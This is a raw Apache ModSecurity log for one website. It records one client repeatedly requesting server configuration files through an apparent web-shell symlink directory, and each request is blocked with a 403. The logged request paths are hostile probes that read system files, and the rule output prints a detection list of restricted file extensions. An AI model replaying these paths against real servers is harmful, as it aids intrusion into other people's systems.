[Sun Oct 25 14:29:38.858892 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52519] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/280_mod_proxy.conf"] [unique_id "at5Kkr3kuBsxLRbAfYmojgAAAA4"]
[Sun Oct 25 14:29:38.873642 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52522] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/325_mod_proxy_fcgi.conf"] [unique_id "at5KkpKSFHHoiviJa5dqiAAAAAo"]
[Sun Oct 25 14:29:38.873867 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52522] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/325_mod_proxy_fcgi.conf"] [unique_id "at5KkpKSFHHoiviJa5dqiAAAAAo"]
[Sun Oct 25 14:29:38.874122 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52522] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/325_mod_proxy_fcgi.conf"] [unique_id "at5KkpKSFHHoiviJa5dqiAAAAAo"]
[Sun Oct 25 14:29:38.886602 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52534] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/340_mod_proxy_http.conf"] [unique_id "at5KkrmAKu18kw3DYL-PMAAAAA8"]
[Sun Oct 25 14:29:38.886834 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/340_mod_proxy_http.conf"] [unique_id "at5KkrmAKu18kw3DYL-PMAAAAA8"]
[Sun Oct 25 14:29:38.887105 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/340_mod_proxy_http.conf"] [unique_id "at5KkrmAKu18kw3DYL-PMAAAAA8"]
[Sun Oct 25 14:29:39.107610 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52544] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/385_mod_rewrite.conf"] [unique_id "at5Kk76D6j04LiS6yScWMwAAAAI"]
[Sun Oct 25 14:29:39.107962 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/385_mod_rewrite.conf"] [unique_id "at5Kk76D6j04LiS6yScWMwAAAAI"]
[Sun Oct 25 14:29:39.108213 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/385_mod_rewrite.conf"] [unique_id "at5Kk76D6j04LiS6yScWMwAAAAI"]
[Sun Oct 25 14:29:39.109286 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52539] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/350_mod_proxy_wstunnel.conf"] [unique_id "at5KkyEQblycZeXKbm74kAAAAAU"]
[Sun Oct 25 14:29:39.109525 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52539] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/350_mod_proxy_wstunnel.conf"] [unique_id "at5KkyEQblycZeXKbm74kAAAAAU"]
[Sun Oct 25 14:29:39.109764 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52539] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/350_mod_proxy_wstunnel.conf"] [unique_id "at5KkyEQblycZeXKbm74kAAAAAU"]
[Sun Oct 25 14:29:39.111057 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52557] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/395_mod_setenvif.conf"] [unique_id "at5Kk0YY36dVli09oOhVXgAAAAw"]
[Sun Oct 25 14:29:39.111266 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52557] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/395_mod_setenvif.conf"] [unique_id "at5Kk0YY36dVli09oOhVXgAAAAw"]
[Sun Oct 25 14:29:39.111530 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52557] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/395_mod_setenvif.conf"] [unique_id "at5Kk0YY36dVli09oOhVXgAAAAw"]
[Sun Oct 25 14:29:39.179836 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:52575] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/405_mod_slotmem_shm.conf"] [unique_id "at5Kk7FCIv3LB15s-_e9gAAAAAM"]
[Sun Oct 25 14:29:39.179836 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:52586] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/410_mod_socache_dbm.conf"] [unique_id "at5Kk9Id4uiAK8m2gJn9HgAAAAQ"]
[Sun Oct 25 14:29:39.180260 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:52586] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/410_mod_socache_dbm.conf"] [unique_id "at5Kk9Id4uiAK8m2gJn9HgAAAAQ"]
[Sun Oct 25 14:29:39.180261 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:52575] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/405_mod_slotmem_shm.conf"] [unique_id "at5Kk7FCIv3LB15s-_e9gAAAAAM"]
[Sun Oct 25 14:29:39.180612 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:52575] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/405_mod_slotmem_shm.conf"] [unique_id "at5Kk7FCIv3LB15s-_e9gAAAAAM"]
[Sun Oct 25 14:29:39.180619 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:52586] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/410_mod_socache_dbm.conf"] [unique_id "at5Kk9Id4uiAK8m2gJn9HgAAAAQ"]
[Sun Oct 25 14:29:39.198789 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52593] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/420_mod_socache_shmcb.conf"] [unique_id "at5Kk2T7SK5esjpOWSjqrwAAABY"]
[Sun Oct 25 14:29:39.199052 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52593] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/420_mod_socache_shmcb.conf"] [unique_id "at5Kk2T7SK5esjpOWSjqrwAAABY"]
[Sun Oct 25 14:29:39.199291 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52593] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/420_mod_socache_shmcb.conf"] [unique_id "at5Kk2T7SK5esjpOWSjqrwAAABY"]
[Sun Oct 25 14:29:39.206102 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52595] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/435_mod_status.conf"] [unique_id "at5KkypTNKVnE1oMPCDtGAAAAAA"]
[Sun Oct 25 14:29:39.206304 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52595] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/435_mod_status.conf"] [unique_id "at5KkypTNKVnE1oMPCDtGAAAAAA"]
[Sun Oct 25 14:29:39.206547 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52595] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/435_mod_status.conf"] [unique_id "at5KkypTNKVnE1oMPCDtGAAAAAA"]
[Sun Oct 25 14:29:39.301665 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52537] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/370_mod_remoteip.conf"] [unique_id "at5Kk4ptOg7YDpX4xSOWtAAAABA"]
[Sun Oct 25 14:29:39.302025 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52537] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/370_mod_remoteip.conf"] [unique_id "at5Kk4ptOg7YDpX4xSOWtAAAABA"]
